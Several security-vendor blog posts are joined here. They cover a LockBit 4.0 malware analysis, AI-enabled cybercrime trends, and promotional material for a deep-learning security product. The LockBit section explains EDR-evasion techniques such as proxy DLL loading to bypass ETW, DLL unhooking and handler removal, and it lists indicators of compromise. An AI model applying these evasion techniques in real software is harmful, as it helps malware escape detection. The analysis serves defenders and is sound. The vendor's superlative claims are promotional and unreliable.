The group is also known for its aggressive tactics, including double extortion, where they not only encrypt data but also threaten to release sensitive information if the ransom is not paid. With its rapid evolution and continuous development, LockBit remains one of the most dangerous and effective ransomware families in the cybercrime landscape.

The following blog details some of the key differences between LockBit 3.0, which has dominated the ransomware landscape over the last few years, and LockBit 4.0, the newest version of the ransomware. In addition to changes in operability, LockBit has eased deployment and added some evasion capabilities, while introducing a quiet mode that allows attackers to operate stealthily.

In September 2019 the ‘.abcd’ malware was first discovered. Just a few months later, the LockBit group took responsibility for the malware, eponymously dubbing it LockBit. In the years since, the LockBit group and its LockBit malware have continued to evolve, attracting new partners, gaining notoriety amongst hackers, and distributing new, more powerful versions of the malware.

In 2022, LockBit was responsible for more ransomware attacks than any other organization in the world. And by 2023, they were responsible for an estimated 44% of global ransomware attacks, coinciding with their LockBit 3.0 version.

On December 19, 2024, the LockBit group posted an announcement titled “Lockbit4.com” on their leak blog, revealing the upcoming release of a fourth version of the LockBit ransomware and marking the end of the LockBit 3.0 era. A timer counting down to February 3, 2025 was posted alongside an announcement promising rewards to the criminals who wanted to sign up and take part in the next era of ransomware proliferation.

The Release of Lockbit 4.0

Following the countdown, the LockBit group officially released LockBit 4.0 on February 3, 2025. The updated LockBit website featured five new Onion Domains with a new access key: ADTISZRLVUMXDJ34RCBZFNO6BNKLEYKYS5FZPNNXK4S2RSHOENUA. These domains were labeled “LockBit 4” and opening them took users to a login portal, with options to create a new account linked to either a BitCoin or Monero wallet.

After opening the link, users are presented with the following login portal:

After hackers execute an attack using the LockBit ransomware, LockBit 4.0 also provides a platform to securely negotiate with their victims. The platform features new Onion Domains which are attached to ransom notes and open chat support between the hackers and their targets. After opening the link, victims are asked to enter the ‘Decryption ID’ they received in their ransom note to verify their details.

Following detail and identity verification, victims are granted access to the chat.

In the chat, victims are sent three new URLs specifically for the File Upload Service for sample file decryption, supporting files larger than 10MB. This allows victims to confirm that the decryption works. Much of this attack and negotiation flow is similar to past versions of the LockBit ransomware. However, there are some key changes in how LockBit 4.0 operates compared to its most recent predecessor. 

The Packer

LockBit 3.0 featured a significant anti-analysis mechanism. The file was protected by a packer, and each version of LockBit 3.0 required a unique password to unpack it, making both static and dynamic analysis much more difficult. This feature was expected to continue.

Surprisingly, LockBit 4.0 takes a different approach, using a much simpler packer: a customized version of the UPX packer. And this time the packer isn’t password-protected. The advantage is that unpacking can now be done easily and manually, unlike in previous versions.

We can easily locate the jump tail, jump to it, and retrieve the original code— essentially, we can locate the part of the program that directs us to the original code, skip over the packed sections, and restore it to its original form.

The Ransom Note

After files are encrypted, a ransom note appears in every folder, just like in the previous version. However, there are some subtle changes to the ransom note itself.

Unlike LockBit 3.0, LockBit 4.0 doesn't change the icon of the encrypted files to a custom LockBit icon. LockBit 4.0 also leaves the screensaver as is, leaves file names intact, and appends a random 12-character hash to the file extension, while LockBit 3.0 renames files and changes their extension to “.HLJkNskOq.”

New Parameters and Help Screen

LockBit 4.0 introduces slightly different parameters compared to LockBit 3.0. Notably, it adds the --help and -q parameters. The --help parameter allows users to view the available parameters and their functions:

The -q parameter specifies a quiet mode. This mode allows hackers to carry out attacks while keeping file extensions and modification dates intact after encryption. Additionally, no ransom note is dropped on the affected systems, making it more difficult to detect and investigate the attack.

The Encryption Method

LockBit 3.0 employed a partial encryption technique, encrypting portions of a file rather than the entire thing. This method sped up the encryption process and made it more efficient, minimized the chances of detection, and made the file unusable without the decryption key.

In some versions of LockBit 3.0, between 10-30% of the file is encrypted, focusing on critical sections like headers or initial data blocks. Other versions, however, only encrypt the first 4 KB of the file.

Similarly, LockBit 4.0 also employs partial encryption. In each cycle, it allocates memory for 9% of the file’s size. The data is read from the original file, encrypted, and written back to the file. Before the encryption process begins, the file size is checked; if it’s smaller than 1 KB, the entire file is encrypted instead.

Encryption Time

LockBit 3.0 encrypts files faster than LockBit 4.0. While LockBit 4.0 takes around 25 seconds to encrypt 1,000 files, LockBit 3.0 completes the same task in about five (5) seconds. These times can vary depending on factors like system performance, hardware, and load during each run.

Dynamic API Resolution

LockBit 3.0 imports most of its API functions during execution through a shellcode hashing mechanism. This process involves hashing the API names of a DLL, comparing them to a list of required APIs, and then retrieving the genuine API address using a circular shift and XOR operation.

In LockBit 4.0, the same dynamic method is used to discover functions, with slight modifications. The overall result is the same—the malware still obtains its functions dynamically. However, the key difference lies in how the DLLs are loaded. LockBit 4.0 employs proxy DLL loading, which bypasses the Event Tracing for Windows Telemetry Infrastructure (ETWTI) used by many security products. ETWTI relies on analyzing the stack trace, but with proxy DLL loading, the DLL is loaded through the RtlQueueWorkItem function. This causes the loading to occur in a separate thread, managed by a worker thread pool, resulting in a clean stack trace that avoids triggering ETWTI detection.

DLLs Unhooking

DLL Unhooking is a variation of the DLL Hollowing technique designed to remap a DLL into memory. This process helps bypass security product hooks, making it harder for the malware to be detected within the system.

Lockbit 4.0 implements this technique by scanning through all the DLLs in the KnownDlls directory and creating a handle for each one using NtOpenSection. It then maps the DLL into memory with NtMapViewOfSection.

In the image below, you'll notice the ObjectName field is part of the OBJECT_ATTRIBUTES structure. This structure is passed to the NtOpenSection function, specifying the object that the function will operate on.

Once the DLL is mapped into memory, the malware utilizes WriteProcessMemory to copy the contents of the new DLL into the memory space of the original DLL that was loaded by the operating system.

Vectored Exception Handler

Malware may remove its own Vectored Exception Handlers (VEHs) for several strategic reasons. One of the key motivations is to avoid detection by security tools that specifically monitor VEH registrations. By removing these handlers, the malware can bypass detection systems that scan for them as part of their monitoring processes. Additionally, removing VEHs helps prevent debugging or analysis during or after execution, making it harder for security researchers to reverse-engineer or analyze the malware's behavior. This tactic also aids in evading automated removal attempts by anti-malware software, which may be designed to identify and counter VEH manipulations.

The return_VEH function returns LdrpVectorHandlerList, which contains the list of vectored exception handlers. The malware then iterates through this list, removing each VEH using the RtlRemoveVectoredExceptionHandler function.

Disabling DLL Loading Notifications

Another evasive technique implemented by Lockbit 4.0 is Disabling DLL Load Notification. This technique prevents endpoint detection products from receiving alerts about newly loaded DLLs within the current process context. This is achieved by blocking callbacks that are typically registered with LdrRegisterDllNotification. To properly unregister a DLL load notification callback, the LdrUnregisterDllNotification function is used.

Self-Deletion

Both LockBit 4.0 and LockBit 3.0 delete themselves from the disk, a behavior observable through ProcMon. However, the methods differ: LockBit 3.0 deletes itself by downloading a .tmp file and removes the contents of the Recycle Bin during the process. In contrast, while LockBit 4.0 also deletes itself, it doesn’t touch the Recycle Bin contents, nor encrypt them.

Conclusion

LockBit 4.0 introduces many new features focused on evading security products, but it also takes a few steps back from LockBit 3.0, including switching to a simpler packer, not removing Microsoft Defender, and encrypting more slowly. Despite these changes, much remains the same: partial encryption is still in play, and certain services continue to be disabled. The technique for evading Event Tracing for Windows (ETW) hasn’t changed either. Although LockBit 4.0 has enhanced its evasion techniques, its overall approach and behavior closely resemble those of the previous version. While it didn't innovate on certain tactics, organizations should remain vigilant as the threat remains just as dangerous

IOC's

Hashes:

3552dda80bd6875c1ed1273ca7562c9ace3de2f757266dae70f60bf204089a4a
33376f74c2f071ff30bab1c2d19d9361d16ebaa3dee73d3b595f6d789c15f620
21e51ee7ba87cd60f692628292e221c17286df1c39e36410e7a0ae77df0f6b4b

Onion domains:

lockbit3753ekiocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2id.onion
lockbit3g3ohd3katajf6zaehxz4h4cnhmz5t735zpltywhwpc6oy3id.onion
lockbit3olp7oetlc4tl5zydnoluphh7fvdt5oa6arcp2757r7xkutid.onion
lockbit435xk3ki62yun7z5nhwz6jyjdp2c64j5vge536if2eny3gtid.onion
lockbit4lahhluquhoka3t4spqym2m3dhe66d6lr337glmnlgg2nndad.onion
lockbit6knrauo3qafoksvl742vieqbujxw7rd6ofzdtapjb4rrawqad.onion
lockbit7ouvrsdgtojeoj5hvu6bljqtghitekwpdy3b6y62ixtsu5jqd.onion

lockbitsprnigidq6imswpysqjg3sewkeagtfbamlybwm7fnonglhlyd.onion
lockbitspqldd3mm223vmzcvwntd7honhhan3ke72vpnrxexlrsu5ryd.onion
lockbitsppsg2kfcafzzdettjbgc4tx2cl6tfm4v4py6xtndbhnnhsid.onion
lockbitsppra2sj6gkfrgtavqds7rcnvhaxdio7jvu2xrozdr2ld3ead.onion
lockbitspomtxfihje6wepecgif7vuqci6zyl7qgenne5b6lxngf4yqd.onion

lockbitapyx2kr5b7ma7qn6ziwqgbrij2czhcbojuxmgnwpkgv2yx2yd.onion
lockbitapyum2wks2lbcnrovcgxj7ne3ua7hhcmshh3s3ajtpookohqd.onion
lockbitapp24bvbi43n3qmtfcasf2veaeagjxatgbwtxnsh5w32mljad.onion
lockbitapo3wkqddx2ka7t45hejurybzzjpos4cpeliudgv35kkizrid.onion
lockbitapiahy43zttdhslabjvx4q6k24xx7r33qtcvwqehmnnqxy3yd.onion

References

• https://elis531989.medium.com/green-with-evil-analyzing-the-new-lockbit-4-green-7f5783c4414c
• https://www.ctfiot.com/131730.html
• https://github.com/TheRavenFile/DailyHunt/blob/main/LockBit%204.0%20Ransomware
• https://en.wikipedia.org/wiki/LockBit

The following blog explores several ways AI is already being used to shape cybercrime and cybersecurity. It delves into the methods empowered by LLM capabilities with key use cases. The future of AI-based and powered attacks isn’t a far-flung possibility, it’s here now—and it’s incredibly dangerous.

AI-Driven Reconnaissance

Building an understanding of an organization and identifying key targets within it has been significantly accelerated through the use of AI. Advanced Persistent Threat (APT) groups from China, Iran, North Korea, and Russia have reportedly used AI to automate this process, allowing them to achieve the following:

• Identify and prioritize high-value targets via analysis of organizational hierarchies, business disclosures, and employee social media 

• Conduct large-scale scanning of networks and systems for potential traffic changes and vulnerabilities

• Optimize attack strategies based on collected intelligence, such as C-Suite travel and communication patterns, allowing for targeted attacks at opportune times, sometimes aided by advanced phishing and vishing techniques

Google’s Threat Intelligence Group reported that APT42, an Iran-backed group, were the heaviest users of Gemini, using it to perform recon on defense experts and organizations and craft advanced phishing campaigns. They combined their usage with other open-source tools and tactics to breach key targets in both the public and private sectors, demonstrating the effectiveness of early-stage LLM usage.

AI-Powered Phishing and Social Engineering Attacks

In conjunction with advanced recon techniques, attackers are using AI to enhance phishing and social engineering tactics. In recent months, APTs—particularly those from North Korea, China, and Iran—have been observed deploying AI-generated phishing campaigns with increased sophistication. Notable AI-enhanced social engineering tactics include the following:

• Automated Spear-Phishing: Using data gathered by AI during the recon phase, attackers leveraged AI to generate massive amounts of highly personalized phishing emails that are both contextually relevant and persuasive, increasing the likelihood of successful intrusions. This method has been used extensively by Iran against both American and Israeli targets.

• Deepfake Scams: Attackers employ AI-generated deepfake audio and video to impersonate trusted individuals. These deepfakes deceive targets into taking malicious actions, such as transferring funds or divulging sensitive information. In the Arup Group attack, for example,  AI-generated voice and images were used to fraudulently extract $25 million dollars from the multinational design and engineering company.

With AI continuously improving the realism of phishing lures and impersonations (and utilizing more powerful research methods), legacy cybersecurity detection tools are struggling to keep up. The fidelity of the fakes and the information used to produce them has even fooled trained professionals.

AI Vulnerability Discovery and Exploitation

Beyond reconnaissance and phishing, AI tools are also being deployed to discover technical vulnerabilities and quickly exploit them. Attackers are using AI to achieve the following:

• Identify and exploit security weaknesses in software and networks, including reverse-engineering patches

• Discover potential zero-day exploits, proven conceptually by Google’s ‘Big Sleep’ agent

• Generate code that can exploit weaknesses and vulnerabilities faster than defenders can respond

Google’s proof that AI agents could discover potential zero-day vulnerabilities is a chilling sign of what’s to come. The acceleration of zero-day attacks powered by AI discovery and exploitation tools will likely put defenders on the back foot, especially if they are not given tech solutions that can preemptively prevent attacks or respond at speed to breaches.

AI-Assisted Malware Development

Although AI-generated malware is not highly advanced yet, attackers have found ways to jailbreak mainstream LLMs (such as OpenAI’s models or Gemini) to aid in malware development. Simultaneously, a stable of malicious LLMs specifically tailored for criminal activities, including WormGPT, WolfGPT, EscapeGPT, FraudGPT, and GhostGPT, are also being developed, removing the safeguards put in place in the mainstream models. Threat actors currently use AI chatbots to:

• Generate and troubleshoot malicious code; GhostGPT is particularly adept and costs only $50. It is marketed to hackers and lacks any of the ethical blocks that mainstream models have, enabling quick vulnerability discovery and exploitation.

• Localizing malware to bypass regional security measures. A Russian APT group used Gemini to morph existing malicious code to skirt known security measures, rather than developing entirely new malware.

The speed with which AI has advanced means that AI-generated malware will become extremely complex very quickly. With the increasing availability of advanced “open” AI chatbots like DeepSeek, attackers are able to refine their malware toolsets, making them more adaptive and evasive.

The Next Phase: AI-Generated Polymorphic Malware

One of the most alarming possibilities is the potential for AI to generate polymorphic malware. This type of malware continuously mutates its code, making traditional signature-based detection methods ineffective. As AI enhances malware’s ability to autonomously modify its structure and evade security defenses, security teams must adopt more advanced behavioral analysis techniques to counter this growing threat.

The Looming Future: AI-Powered Autonomous Malware

Soon, attackers will move beyond ‘simple’ AI-generated malware and begin developing AI-powered autonomous malware, enabling smarter, far more devastating attacks. Unlike traditional malware, AI-powered malware will be smarter, performing functions autonomously to bypass security. If it reaches the level that experts fear, it will be able to:

• Adapt its behavior in real time to evade detection and bypass legacy protection mechanisms across the data estate

• Alter its attack techniques based on an environment’s defenses, making incident response significantly more challenging

• Leverage reinforcement learning to optimize attack strategies, continuously improving effectiveness against evolving security measures

This step beyond polymorphic malware could lead to an unprecedented surge in sophisticated cyberattacks, specifically designed to overwhelm existing defense systems and react to attempts to stop it.

The Impact on Attribution and Threat Intelligence

As AI-generated attacks grow in complexity, attribution will become increasingly difficult. AI can mimic the attack patterns, tools, and techniques of other threat actors, effectively masking the true origin of an attack. This obfuscation has already been used by Russian and Iranian APT groups to achieve the following:

• Complicate forensic investigations and confuse national defense planning and response

• Hinder intelligence-sharing efforts, especially amongst groups relying on multi-member input, such as Five Eyes

• Reduce the effectiveness of traditional attribution methodologies

Each of these complicates the already stressful role of security teams and researchers, ratcheting up the pressure on defenders while slowing down national response to legitimate threats.

The nature of stolen data reveals insightful details about the plans of an adversary; the industries they’re targeting, patterns of attack, and what they are focused on disrupting. However, if the adversary can’t be reliably identified, defenders are left trying to strategize for multiple scenarios, complicating response and planning efforts.

Preparing for the AI-Driven Threat Landscape

To stay ahead of these emerging threats, organizations must adopt what Gartner has recently dubbed preemptive cybersecurity solutions–technologies designed to prevent cyberattacks before they achieve their objectives. Key steps to reaching a preemptive cybersecurity posture include:

• Investing in AI-driven cybersecurity solutions that can detect and mitigate AI-generated threats. Attackers are using AI that is too advanced to be stopped by legacy tools or human response alone. Keeping organizations operational and breach free requires defensive solutions that can outpace offensive AI.

• Implementing a deep learning-based security approach: Deep learning provides the most advanced defense against AI-driven threats by enabling real-time anomaly detection and automated threat analysis using the most advanced version of AI. Unlike traditional security models, deep learning solutions can:
  • Identify and classify sophisticated attack patterns
  • Adapt to emerging cyber threats without reliance on static rules
  • Analyze large-scale datasets to detect zero-day exploits and AI-powered malware

Purpose-built zero-day data security measures are the necessary foundation of preemptive cybersecurity, empowering defenders to prevent attacks with solutions built from the ground up to combat the growing threat of AI attacks. By focusing on proactive defense mechanisms that neutralize threats before they can exploit vulnerabilities, security teams gain the upper hand and push back against ever-more aggressive attackers.

A Final Prediction:

By 2026, AI-powered malware and automated vulnerability discovery will become standard tools in cybercriminal arsenals. AI will enable attackers to conduct real-time, autonomous exploit development and deployment, significantly reducing the time between vulnerability discovery and exploitation. They will be able to perform these attacks at scale and speed using virtual ‘ai-factories’ equipped with agentic AI and other technologies, increasing the need for a zero-day response that can keep up.

As AI-driven threats evolve, organizations that rely on traditional security methods will find themselves unable to cope with the speed and scale of modern cyberattacks. The adoption of AI-driven threat detection, deep learning-based behavioral analysis, and zero-day data security solutions is critical to mitigating these emerging threats. Organizations that fail to invest in these technologies will face an increasingly hostile and overwhelming cyber landscape.

Conclusion

The future of cybersecurity will be defined by the ongoing battle between AI-powered attacks and AI-driven defenses, making it imperative for organizations to continually refine their strategies to stay ahead of the curve.

Traditional security measures are no longer sufficient in an AI-driven threat environment. Organizations must adopt a preemptive cybersecurity approach and leverage real-time deep learning-driven techniques to prevent and explain threats before they can cause harm. Security professionals need solutions that ensure even novel, previously unknown attack vectors can be identified and mitigated before exploitation occurs. This proactive defense strategy is essential to countering AI-generated threats and maintaining cybersecurity resilience.

Experience preemptive cybersecurity in your own environment. Request your free scan now.

While DSPM tools have proven valuable in addressing foundational security challenges, they are no longer sufficient in today’s complex threat landscape. Attackers are leveraging advanced techniques, including weaponized DarkAI (AI tools adopted for malicious purposes, like automated vulnerability discovery), to ratchet up the efficacy and volume of their attacks. To secure their data, enterprises need more than visibility and monitoring—they require a defense-in-depth strategy built around proactive prevention and remediation capabilities.

The Past and Present of DSPM

Gartner introduced DSPM in 2022 as a critical component of modern security strategies, emphasizing the need for comprehensive visibility into data flows, security posture, and compliance. The promise was clear: it would empower organizations to discover, classify, and secure sensitive data across hybrid and multi-cloud environments, ensuring compliance with regulations like GDPR, HIPAA, and CCPA.

However, the DSPM market’s promise was disrupted by constant acquisitions of several promising startups in the space by larger platform-based cybersecurity providers:

• Dig Security was acquired by Palo Alto Networks, integrating its data visibility features into Palo Alto’s Cloud-Native Application Protection Platform (CNAPP) offering.
• Flow Security joined CrowdStrike’s broader data security portfolio.
• Laminar joined Rubrik, a storage recovery & backup provider.

These acquisitions reflect a consolidation trend that narrows DSPM’s scope. Instead of evolving into comprehensive solutions, many became feature sets within larger platforms, losing their standalone value. As with many startup acquisitions, the initial aim and trajectory of the technology were curtailed to fit the broader needs of the acquiring organization.

Instead of maturing in the hands of the most competent and passionate players, it was redirected. Alongside the development of AI technologies, AI-integrated DSPM could have served an important gatekeeper role in comprehensive cybersecurity strategies. As it stands, DSPMs are falling into the same failing paradigm as other legacy tools.

Why DSPM is No Longer Sufficient

Despite its benefits, DSPM has inherent limitations that make it inadequate as a standalone solution:

1. Reactive, not proactive: Most DSPMs operate as monitoring solutions, offering insights and alerts but not preventing threats. They may detect anomalies or non-compliance but leave remediation to slow and error-prone manual processes.

2. Focused on exfiltration: DSPMs largely focus on preventing sensitive data from leaving the organization. However, attackers and malicious insiders have limitless ways to manipulate or exfiltrate data, from encrypted channels to API abuse. Once they have access, accounting for attackers’ varied tactics and capabilities is nearly impossible. Human creativity and intelligence, combined with powerful AI tools, have created a hydra. For every vulnerability closed, two more open. Preventing threats is the key to preventing exfiltration.

3. Remediation gaps: While DSPMs identify risks, they often fail to offer smart (context-aware) and automated remediations. Even fewer take responsibility for executing these remediations, leaving enterprises vulnerable to delayed responses. This responsibility falls to overburdened security teams who now have to figure out how to close those gaps.

Zero-Day Data Security: A New Standard

The emergence of DarkAI has made the threat landscape more unpredictable. Attackers can now generate sophisticated, never-before-seen malware that exploit vulnerabilities in ways traditional DSPMs cannot anticipate. As a result, organizations relying solely on DSPM are exposed to unknown risks with inadequate security tools.

Enter Zero-Day Data Security (ZDDS), a new paradigm. Unlike DSPM, which focuses on visibility and preventing data exfiltration, ZDDS prioritizes proactive prevention and remediation. It secures data wherever it’s found against known and unknown threats. Deep Instinct leads the way in ZDDS with Data Security X (DSX).

DSX prevents threats before they compromise data using the world’s only deep learning (DL) framework (a specialized AI architecture that learns patterns from massive datasets) trained for cybersecurity. The DSX Brain is trained on billions of data points to recognize and prevent threats before they execute. Rather than just alerting on known threats and vulnerabilities, as DSPM does, DSX prevents the most sophisticated and dangerous unknown threats. Here’s how:

• Proactive prevention: Effective ZDDS leverages DL and AI-driven threat detection to block attacks before they occur, safeguarding sensitive data.
• End-to-end coverage: ZDDS is flexible and adaptive enough to provide seamless protection across diverse data estates, whether it’s on-premises, hybrid, or in the public cloud.
• Automated remediation: ZDDS doesn’t just identify risks, it neutralizes them. Solutions like DSX for Cloud and DSX for NAS have prevention embedded into the workflow, ensuring proactive response without manual intervention.

ZDDS is the next frontier in data security, and DSX is the trailblazer, providing organizations with the means to defend against today’s most advanced threats. By adopting a ZDDS solution, enterprises can go beyond compliance and visibility to achieve true resilience against data breaches and attacks.

Conclusion

DSPM was a crucial step forward in data security, but it is no longer sufficient in the face of today’s sophisticated threats. Its consolidation into broader platforms underscores its limitations and the need for a more proactive and comprehensive approach.

ZDDS is not just a buzzword—it’s a necessity, the next crucial step forward. As the threat landscape evolves, enterprises must adopt solutions like Data Security X (DSX) to stay ahead of attackers and ensure data integrity. In this new era, prevention is not optional; it is the cornerstone of security.

To experience zero-day data security powered by DSX in your environment, request your free scan.

Fortunately, the ball is in our court. We have the means to adapt, but little time to respond. If we lack urgency or respond with the wrong strategies and solutions, we will see billions in new ransomware costs, more insidious nation-state attacks, further encroachment on our personal data, and the potential expansion of physical-space attacks. We need to get it right.

The Acceleration of Zero-Day Attacks

Today’s fight is against zero-day attacks and unknown malware, which have proliferated with the widespread use of generative AI tools in the hands of cybercriminals. Bad actors can now generate and modify new attacks with tools easily found on the dark web, allowing them to launch attacks with alarming speed and regularity. It’s adding overwhelming pressure to defenders who must be continually vigilant against new tactics and behaviors.

Since 2018, the number of zero-day attacks has been on the rise. Recent research from IBM, Cisco, and Google document the alarming increase: more zero-day attacks were reported in 2021 than in the prior three years combined; in 2023, 97 zero-day attacks were reported, beating the high of 2021. In May 2024, Rapid7 published the following in their Threat Intelligence Report:

“A consistently high level of zero-day exploitation over the last three years. Since 2020, our vulnerability research team has tracked both scale and speed of exploitation. For two of the last three years, more mass compromise events have arisen from zero-day exploits than from n-day exploits. 53% of widely exploited CVEs in 2023 and early 2024 started as zero-day attacks.”

What makes these attacks particularly concerning is that they target undefended, unknown vulnerabilities. Their effects are wide-reaching and catastrophic, leaving organizations to defend against breaches that have already happened, rather than proactively preventing them from happening in the first place.

In 2024, the average cost of ransomware rose across industries, reaching $5.2 million by mid-year. The price of remediation grew alongside the price of ransom. In addition to the dollar cost of these attacks, organizations face reputation damage, and SOC teams face yet another escalation in pressure, contributing to growing levels of burnout.

Traditional “detect and respond” cybersecurity tools and strategies are no longer effective. A solution that can not only detect never-before-seen malware, but prevent it, is not only necessary—it’s the only path forward. AI-powered zero-day data security (ZDDS) is the answer.

The Abrupt Decline of Legacy Solutions

The accelerating scale and sophistication of modern cyberattacks, particularly zero-day exploits, have rendered reactive methods ineffective. Attacks happen so quickly today that by the time a breach is detected, attackers have already encrypted or exfiltrated sensitive data. This speed makes reactive approaches not only futile but also costly in terms of recovery and damage control.

Even with tools boasting high detection rates, a small miss rate—say, 5%—can result in catastrophic breaches when facing thousands of daily threats. And most tools aren’t anywhere near that efficient.

The reality is that organizations can no longer afford to rely on outdated detection methods or wait for an attack to happen before acting. Unfortunately, much of the cybersecurity market isn’t positioned to deal with these threats.

Zero-day threats are particularly difficult to defend against using legacy security measures. Malware slips past defenses, unrecognized and undetected, landing in storage or on user machines. Popular signature-based tools are now a liability because:

• The updates necessary to try and keep pace are unsustainable
• They typically only catch known threats
• The underlying technology is outdated
• Management costs have ballooned
• The LLM weapons used by criminals, so-called DarkAI, are more advanced than the ML used by legacy tools

The only way to combat this surge of attacks without completely closing an environment off from the outside world is by using a solution specifically designed to combat zero-day attacks.

The Path Forward: Zero-Day Data Security

Preventative ZDDS, powered by deep learning (DL)—the most advanced form of AI—is the future of cybersecurity. Deep Instinct is at the forefront of this effort. We use our purpose-built DL cybersecurity framework to prevent and explain unknown threats in real time. We fight AI with better AI and help organizations dramatically reduce their exposure to malware, ransomware, and zero-day attacks.

The ability to stop an attack in its tracks—before it’s even identified by a “signature”—is the key to staying ahead in a rapidly evolving threat landscape. Moving from a reactive approach to a proactive strategy is necessary as cyberattacks increase in volume and sophistication.

Organizations must invest in technologies focused on fighting the future of cybercrime. This means being bolder in taking on new contracts, integrating new solutions more swiftly, and putting less effort towards trying to make existing tools do something they were not designed to do.

Waiting for an attack to happen—and then reacting—is simply too risky. The costs, both financially and reputationally, are too high. The price of an effective cybersecurity solution is a fraction of the cost of a breach.

Conclusion

With AI-driven threats, zero-day vulnerabilities, and the overwhelming scale of cyberattacks, you can’t afford to innovate slowly. Your enemies aren’t. They’re harnessing every possible AI tool to achieve their goals and finding it easier than ever to break through underperforming and overwhelmed defenses. Beleaguered security teams can no longer hope that their detection systems will catch everything, because they won’t.

Deep Instinct is the leading ZDDS vendor on the market. Deep Instinct Data Security X (DSX), is the first and only purpose-built ZDDS product built from the ground up on the world’s only DL cybersecurity framework to prevent and explain unknown threats no one else can find. It provides unparalleled protection against zero-day threats across your entire data ecosystem with unmatched prevention capabilities, real-time malicious verdicts, and detailed explainability, solving the growing problems of cybersecurity.

To learn more about how to proactively protect your organization and its data, no matter where it resides, read about our approach to ZDDS here. Then request your free scan.

Deep Instinct is a cybersecurity company that offers a state-of-the-art, zero-day data security (ZDDS) solution, “Data Security X” (DSX™). DSX safeguards data repositories across cloud, NAS, applications, and endpoints, delivering the industry's highest efficacy (>99%), lowest false positive rate (<0.1%), and explainability into never-before-seen threats.

Utilizing deep neural networks (DNNs), Deep Instinct prevents ransomware and known and unknown threats with unmatched accuracy and speed. This advanced form of AI significantly raises the cybersecurity bar and is ideally suited for large enterprises and critical infrastructure sectors such as finance, healthcare, and technology with a mandate to protect their data, in motion or at rest.

In this blog post, we explore how Deep Instinct’s GenAI-powered malware analysis tool, DIANNA, the DSX Companion, leverages Amazon Bedrock to revolutionize cybersecurity explainability by providing rapid, in-depth analysis of known and unknown threats in minutes, enhancing the capabilities of SOC teams and addressing key challenges in the evolving threat landscape.

The SecOps Challenge

There are two main challenges cybersecurity teams are facing: bad actors are outpacing security response, largely based on the the industries use of ML-based tools that “detect and respond” instead of preventing threats. And the flood of low-fidelity false positives that flood the SOC without context.

Fueled by the rise of DarkAI, bad actors are overwhelming SOC teams with a constant stream of sophisticated, novel malware and ransomware that are circumventing legacy security tools while triggering a massive amount of false positives that require investigation. This hampers proactive threat hunting and exacerbates team burnout. Most importantly, the surge in “alert storms” increases the risk of missing critical alerts. SOC teams need a solution that provides the explainability necessary to perform quick risk assessments regarding the nature of the attacks to make informed decisions.

Malware analysis is an increasingly critical and complex field. The challenge when analyzing zero-day attacks lies in the limited information explaining why a file was blocked and classified as malicious. Threat analysts are spending considerable time assessing whether an attack was truly malicious or just a false positive.

Let’s explore some of the key challenges that make malware analysis so demanding.

1. Is it even malware?: Modern malware has become incredibly sophisticated in its ability to disguise itself. It often mimics legitimate software and files, making it challenging for analysts to distinguish between benign and malicious code. Some malware can even disable security tools or evade scanners, further obfuscating detection.
2. Preventing zero-day threats: The rise of zero-day threats, which have no known signatures, adds another layer of difficulty. Identifying unknown malware is crucial, as failure can lead to severe security breaches and potentially incapacitate organizations.
3. Information overload: Today’s powerful malware analysis tools can be a double-edged sword. While they offer solid explainability, they can overwhelm analysts with data, forcing them to sift through a digital haystack to find crucial indicators of malicious activity, making it easy to overlook critical compromises.
4. Connecting the dots: Malware often consists of multiple components interacting in complex ways. Not only do analysts need to identify the individual components, but they also need to understand how they interact. This process is like assembling a jigsaw puzzle to form a complete picture of the malware's capabilities and intentions, with constantly changing pieces and an unclear final picture.
5. Keeping up with bad actors: The world of cybercrime is constantly evolving, with attackers relentlessly developing new techniques and exploiting new vulnerabilities, leaving organizations struggling to keep up. The time between the discovery of a vulnerability and its exploitation in the wild is narrowing, putting pressure on analysts to work faster and more efficiently. This rapid evolution requires malware analysts to constantly update their skill set and tools.
6. Racing against the clock: In malware analysis, time is crucial. Malicious software can spread rapidly across networks, causing significant damage in minutes, often before the organization realizes an attack has occurred. Analysts face the pressure of conducting thorough examinations while also providing timely insights to prevent or mitigate attacks.

The Solution

There is a critical need for malware analysis tools that provide precise, real-time, in-depth analysis for both known and unknown threats, easing SecOps efforts. Deep Instinct recognized this need and developed the Deep Instinct Artificial Neural Network Assistant (DIANNA), the DSX Companion.

DIANNA is a groundbreaking malware analysis tool powered by generative AI (GenAI), utilizing Amazon Bedrock as its LLM infrastructure to tackle real-world issues. It offers on-demand features that provide flexible and scalable AI capabilities tailored to the unique needs of each client. By concentrating our GenAI models on specific artifacts, we can deliver focused, comprehensive responses to effectively address this market need.

DIANNA’s Unique Approach

Unlike traditional methods that rely solely on retroactive analysis of existing data, DIANNA harnesses GenAI to gain the collective knowledge of countless cybersecurity experts, sources, blogs, papers, threat intelligence reputation engines, and chats. This extensive knowledgebase is embedded within the LLM, allowing DIANNA to delve deep into unknown files and uncover intricate connections that would otherwise go undetected.

At the heart of this process are DIANNA’s advanced translation engines, which transform complex binary code into natural language that LLMs can understand and analyze. This unique approach bridges the gap between raw code and human-readable insights, enabling DIANNA to provide clear, contextual explanations of a file's intent, malicious aspects, and potential system impact while addressing information overload by distilling vast data into concise, actionable intelligence.

This translation capability is key to connecting the dots between different components of complex malware. It allows DIANNA to identify relationships and interactions between various parts of the code, and offer a holistic view of the threat landscape. By piecing together these components, DIANNA can construct a comprehensive picture of the malware's capabilities and intentions, even when faced with sophisticated threats. DIANNA doesn't stop at simple code analysis—it goes deeper. The ability to turn information into natural language provides insights for the teams who are investigating why files have been flagged as malicious, streamlining what is often a lengthy process. These insights allow SOC teams to prioritize threats and focus on those that matter most.

Enhancing DIANNA with Amazon Bedrock

DIANNA’s integration with Amazon Bedrock allows us to harness the power of state-of-the-art language models while maintaining the agility to adapt to evolving client requirements and security considerations. DIANNA benefits from Amazon Bedrock’s robust features, including seamless scaling, enterprise-grade security, and the ability to fine-tune models for specific use cases.

Accelerating Development with Amazon Bedrock: The fast-paced evolution of the threat landscape necessitates equally responsive cybersecurity solutions. DIANNA’s collaboration with Amazon Bedrock has played a crucial role in optimizing our development process and speeding up the delivery of innovative capabilities. By leveraging Bedrock’s extensive collection of pre-trained foundation models, we were able to swiftly create a proof-of-concept (POC) that demonstrated the potential of GenAI in malware analysis. This initial success bolstered our confidence in the technology and enabled us to concentrate on further enhancing DIANNA’s features.

